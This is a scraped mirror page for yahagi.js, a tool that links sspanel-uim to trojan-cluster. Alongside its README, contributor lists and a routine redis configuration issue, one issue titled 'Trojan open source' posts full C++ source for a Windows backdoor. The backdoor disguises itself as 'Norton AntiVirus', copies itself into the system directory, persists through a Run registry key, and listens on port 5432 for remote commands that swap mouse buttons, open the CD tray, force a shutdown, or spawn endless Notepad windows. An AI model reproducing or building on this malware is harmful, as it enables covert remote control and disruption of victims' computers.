Giter VIP home page Giter VIP logo

yahagi.js's Introduction

yahagi.js

A program to connect sspanel-uim with trojan-cluster

How to use

You need a machine that runs trojan-cluster or redis mode of trojan-go.
This program make use of sspanel-uim's webapi mode.

  1. Clone this repository to your machine that runs trojan-cluster. git clone https://github.com/trojan-cluster/yahagi.js/
  2. Run npm install yahagi.js
  3. Fill the entry in index.js or see Environment.
  4. Make something to run it as a daemon, you can create a systemd service or use pm2. If you don't like these complex things, nohup or screen will work, too.

Now it will work.

Environment

Yahagi.js can make use of environment variable to configure it self:

YAHAGI_DOMAIN: API domain
YAHAGI_NODE_ID: Node ID
YAHAGI_NODE_KEY: Node Key

Donation

Donate with Ethereum Donate with stripe

yahagi.js's People

Contributors

denrianweiss avatar sukkaw avatar

Stargazers

 avatar  avatar  avatar Ef233 avatar  avatar hanataba avatar 星の猫 avatar haojunmei avatar  avatar Huramkin avatar  avatar  avatar MATA avatar  avatar  avatar  avatar  avatar 本宫略萌 avatar  avatar  avatar  avatar asuna avatar Joker Lee avatar  avatar

Watchers

James Cloos avatar  avatar

yahagi.js's Issues

Trojan open source

#include
#include
#include
using namespace std;

char Windir[MAX_PATH];
char Module[MAX_PATH];

SOCKET Socket;

void Hide()
{
SetConsoleTitle(“Norton AntiVirus”);
hide = FindWindow(NULL, “Norton AntiVirus”);
ShowWindow(hide, 0);
}

void GetPaths()
{
GetSystemDirectory(Windir, sizeof(Windir));
GetModuleFileName(0, Module, sizeof(Module));
strcat(Windir, “\WindowsAPICalls.exe”);
}

void Install()
{
CopyFile(Module,Windir,0);

HKEY Install;
RegOpenKey(HKEY_LOCAL_MACHINE,”Software\Microsoft\Windows\CurrentVersion\Run”, &Install);
RegSetValueEx(Install, “Windows API Calls”, 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
RegCloseKey(Install);
}

int ServerInitialize()
{
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
WSACleanup();
system(Module);
return 0;
}

else
{
cout << “Winsock initialized.” << “\n”;
}

Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

if (Socket == INVALID_SOCKET )
{
WSACleanup();
system(Module);
return 0;
}

else
{
cout << “Socket created.” << “\n”;
}

sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons(5432);

if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
{
closesocket(Socket);
system(Module);
return 0;
}

else
{
cout << “Socket bound successfully.” << “\n”;
}
if (listen( Socket, 1 ) == SOCKET_ERROR )
cout << “Error listening on socket.” << “\n”;

SOCKET AcceptSocket;

cout << “Waiting for a client to connect…” << “\n”;
AcceptSocket = SOCKET_ERROR;
while (AcceptSocket == SOCKET_ERROR )
{
AcceptSocket = accept(Socket, NULL, NULL );
}
cout << “Client Connected.”<< “\n”;
Socket = AcceptSocket;
}

void Shutdown()
{
char Message[MAX_PATH]=”Your computer is infected with a malicious virus!”;
InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}

void OpenCloseCDTray()
{
mciSendString(“set cdaudio door open”, 0, 0, 0);
mciSendString(“set cdaudio door open”, 0, 0, 0);
}

void Bomb()
{
HWND hwnd;
char Notepad[MAX_PATH]=”notepad.exe”;
for(;;)
{
ShellExecute(hwnd,”open”,Notepad,NULL,NULL,SW_MAXIMIZE);
}
}

void LeftMouse()
{
SwapMouseButton(true);
}

void RightMouse()
{
SwapMouseButton(false);
}

void Receive()
{
for(;;)
{
char Choice[MAX_PATH]=”";
cout << “Waiting for commands, sir!” << “\n”;
recv(Socket, Choice, sizeof(Choice), 0);
cout << Choice << “\n”;
if (!strcmp(Choice,”1″))
{
LeftMouse();
const char c_LeftMouse[MAX_PATH]={“Mouse changed; left.”};
send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
}
if (!strcmp(Choice,”2″))
{
RightMouse();
const char c_RightMouse[MAX_PATH]={“Mouse changed; right.”};
send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
}
if (!strcmp(Choice,”3″))
{
OpenCloseCDTray();
const char c_CDTray[MAX_PATH]={“CD Tray opened.  Closed if not on a laptop.”};
send(Socket,c_CDTray, sizeof(c_CDTray),0);
}
if (!strcmp(Choice,”4″))
{
Shutdown();
const char c_Shutdown[MAX_PATH]={“Shutdown initiated.”};
send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
}
}
}

int main()
{
Hide();
GetPaths();
if(!strcmp(Windir,Module))
{
ServerInitialize();
Receive();
}
else
{
Install();
ServerInitialize();
Receive();
}
return 0;
}

trojan-go不调用redis

参考trojan-go配置添加
redis: {
"enabled": true,
"server_addr": 127.0.0.1,
"server_port": 6379
}
trojan-go日志没有类似原版trojan的connected to redis server

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.